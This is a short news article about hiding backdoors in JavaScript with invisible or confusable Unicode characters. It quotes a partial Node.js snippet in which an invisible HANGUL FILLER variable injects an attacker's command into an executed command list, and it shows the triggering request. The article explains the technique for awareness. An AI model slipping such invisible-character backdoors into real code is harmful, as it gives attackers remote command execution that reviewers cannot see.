Following the Trojan Source attack method, which utilizes Unicode characters that alter the display order of bidirectional text, another technique for embedding hidden actions applicable to JavaScript code has been published. This new method is based on the use of the unicode character "ㅤ" (code 0x3164, "HANGUL FILLER"), which belongs to the letter category but has no visible content. The Unicode category this character falls into has been permitted since the ECMAScript 2015 specification for use in JavaScript variable names, allowing the creation of invisible variables or new variables indistinguishable from other variables in popular code editors like Notepad++ and VS Code.
An example is provided with code for the Node.js platform, where a backdoor is hidden using a variable consisting of a single character "ㅤ", allowing the execution of the code specified by the attacker: app.get('/network_health', async (req, res) => { const { timeout,ㅤ} = req.query; // in reality, it's specified as "const { timeout,ㅤ \u3164}" const checkCommands = [ 'ping -c 1 google.com', 'curl -s http://example.com/',ㅤ // following the comma is the character \u3164 ];
At first glance, only the timeout value is passed through the external parameter, and the array of executed commands contains a harmless fixed list. But in reality, after the timeout variable, the value of another invisible variable with the character code \u3164 is assigned, which is also substituted into the array of executable commands. Thus, with such a construction, to activate the backdoor and execute their own code, an attacker can send a request like "https://host:8080/network_health?=command".
As another example, the character "ǃ" (ALVEOLAR CLICK) can be used to create the appearance of specifying an exclamation mark. For instance, the expression "if(environmentǃ=ENV_PROD){" will always be true when executed in Node.js 14, as it performs an assignment of the variable "environmentǃ" to the value ENV_PROD rather than a difference check. Other misleading Unicode characters noted include "／", "−", "＋", "⩵", "❨", "⫽", "꓿", and "∗".
Source: opennet.ru
